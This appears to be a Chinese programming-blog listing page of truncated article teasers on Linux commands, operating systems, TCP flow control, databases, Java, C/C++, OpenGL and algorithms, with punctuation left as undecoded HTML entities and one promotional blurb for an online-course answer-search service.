初入Linux&#xff0c;发现老是要面对一个命令行&#xff0c;大黑框&#xff0c;看不懂各种手册&#xff0c;写代码也是用vi/vim&#xff0c;难受的捉急。其实Linux下的各种工具&#xff0c;强大得超出你的想象&#xff0c;如果你初入Linux&#xff0c;那么你急需阅读这篇文章&…

操作系统的主要功能

目录 一. 处理机管理功能 1.1 进程控制 1.2 进程同步 1.3 进程通信 1.4 进程调度 二. 存储器管理功能 2.1 内存分配 2.2 内存保护 2.3 地址映射 2.4 内存扩充 三. 设备管理功能 3.1 缓冲管理 3.2 设备分配 3.3 设备处理 3.4 设备独立性和虚拟设备 四…

关于Python爬虫兼职,这里有一条高效路径

前言 昨天&#xff0c;一位00后前来报喜&#xff0c;也表达感谢。 他说&#xff0c;当初刚毕业啥也不会也找不到工作&#xff0c;最后听了我的&#xff0c;边学爬虫边做兼职项目&#xff0c;积极主动求职投简历&#xff0c;既可以兼职获得收益&#xff0c;也能积累项目经验谋求…

Linux:以K、M、G查看文件大小;

简介&#xff1a;灵活多变的查看文件的大小 历史攻略&#xff1a; Linux&#xff1a;sudo免密 python&#xff1a;执行dos命令、Linux命令 案例源码&#xff1a; # 以适当方式显示文件大小&#xff1a; ls -lh# 以byte显示文件大小&#xff1a; ls -l# 以M显示文件大小&am…

NR PUSCH(五) DMRS

微信同步更新欢迎关注同名modem协议笔记 PUSCH DMRS和PDSCH DMRS内容基本一样&#xff0c;但也有不同的地方&#xff0c;例如PUSCH 可能需要Transform precoding&#xff0c;port 对应0~11(DMRS configured type2)等等。先简单看看Transformprecoding的相关内容&#xff0c;Tr…

Excel数据分析实战之开宗明义: Excel与数据分析实战

大家好&#xff0c;我是爱编程的喵喵。双985硕士毕业&#xff0c;现担任全栈工程师一职&#xff0c;热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。喜欢通过博客创作的方式对所学的知识进行总结…

军用大数据 - Spark机器学习

文章目录第1关&#xff1a;Iris 分类任务描述相关知识1&#xff1a;观察数据集2&#xff1a;RFormula 特征提取3&#xff1a;pandas 的 concat 函数编程要求代码实现————————————————————————————————————————第2关&#xff1a;图片识…

网络原理 --- 传输层Ⅲ TCP协议中的滑动窗口,流量控制和拥塞控制

文章目录网络原理传输层TCP协议4.滑动窗口5.流量控制6.拥塞控制总结网络原理 介绍TCP/IP协议中每一层里面的核心内容~ 应用层传输层网络层数据链路层物理层 传输层TCP协议 4.滑动窗口 TCP能够保证可靠传输,但是失去了效率! 但是TCP希望能够在保证可靠性的前提下,尽可能地提…

达梦数据库在不修改SQL的情况下为SQL指定HINT

前言 在Oracle中可以使用outline、SQL PROFILE等手段去在无需修改SQL语句的情况下&#xff0c;来保证SQL执行计划在不同硬件环境下相同&#xff0c;从而保证SQL语句在不同环境的执行效率。那么&#xff0c;在达梦数据库中则可以使用SF_INJECT_HINT系统函数达到类似的效果。 SF…

Java学习笔记 --- 异常

一、基本介绍 Java语言中&#xff0c;将程序执行中发生的不正常情况称为“异常”。&#xff08;开发过程中的语法错误和逻辑错误不是异常&#xff09; 执行过程中所发生的异常事件可以分为两类 1、Error&#xff08;错误&#xff09;&#xff1a;Java虚拟机无法解决的严重问…

十月了,请问2022届的同学们都找到工作了吗?

今年的就业大环境就不多说了&#xff0c;大家都知道。一边是超千万规模的应届毕业生&#xff0c;叠加教培、地产等行业裁员&#xff1b;另一边则是疫情反复影响之下&#xff0c;企业瘦身裁员、停招、缩招。在白领性质的劳动力市场&#xff0c;劳动力供给严重大于需求&#xff0…

【C语言】解题训练

目录 字符串左旋 方法1 方法2 字符串旋转结果判断 方法1 方法2 杨氏矩阵 位段 题目1 题目2 联合体 题目1 题目2 有序序列合并 变种水仙花 找单身狗 字符串左旋 实现一个函数&#xff0c;可以左旋字符串中的k个字符。 例如&#xff1a; ABCD左旋一个字符得到…

纷享销客联合B.P商业伙伴携手30+企业CEO走进南天信息

数字化智能化建设的当下&#xff0c;数字化服务商承担着承上启下的核心力量。企业数字化转型成为刚需&#xff0c;意味着ICT企业的市场前景持续乐观&#xff0c;但在疫情和竞争加剧之下&#xff0c;企业发展也遭遇增长的挑战&#xff0c;如何在数字中国的趋势之下&#xff0c;乘…

大学网课搜题公众号系统

大学网课搜题公众号系统 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 题库&#xff1a;题库后台&#xff08;点击跳转&#xf…

【从小白到大白05】c和c++内存管理

c和c内存管理 文章目录c和c内存管理c内存管理方式new/delete操作内置类型new申请动态空间delete释放空间new和delete操作自定义类型operator new与operator delete函数new[]和delete[]定位new&#xff08;placement-new&#xff09;总结以上内存泄露以上就是全部内容啦&#xf…

WPS-JS宏开发-基础知识-03-三大基本结构

系统&#xff1a;Windows 11 软件&#xff1a;WPS表格11 本系列介绍一款类Excel的软件&#xff0c;WPS表格当然也是介绍其宏开发&#xff0c;不同的是&#xff0c;使用的JS宏会同样介绍多个系列&#xff0c;本系列介绍一些基础知识 Part 1&#xff1a; 三大逻辑结构 一个具体的…

如何给字符串字段加索引?

1.引例 现在的系统中&#xff0c;很多都会包含邮箱字段&#xff0c;那要如何给这个字段建立索引呢&#xff1f; 假设&#xff0c;现在维护了一个用户表&#xff0c;其中包含邮箱&#xff0c;定义如下&#xff1a; mysql>create table SUser(ID int primary key,email var…

OpenGL之多边形偏移、雾效、纹理映射

1.1 OpenGL中可以设置物体的点、线、面绘制模式。如果需要同时绘制多种模式&#xff0c;如下以面和线模式绘制两遍模型&#xff0c;可以看到线不连续&#xff0c;当镜头推远推近时会出现闪烁现象。 void glPolygonMode(GLenum face,GLenum mode);face :GL_FRONT&#xff0c;GL…

分治暴力求解最近点对问题 + 时间性能量化分析

Catalogue1 Intro2 Problem3 Time performance analysis4 Solution5 Reference1 Intro 本文旨在讨论分治和暴力在求解最近点对问题时的时间性能问题&#xff0c;关于解题部分不做过多讲解&#xff0c;只附上相关代码。 2 Problem 给定平面上N个点&#xff0c;找出其中的一对…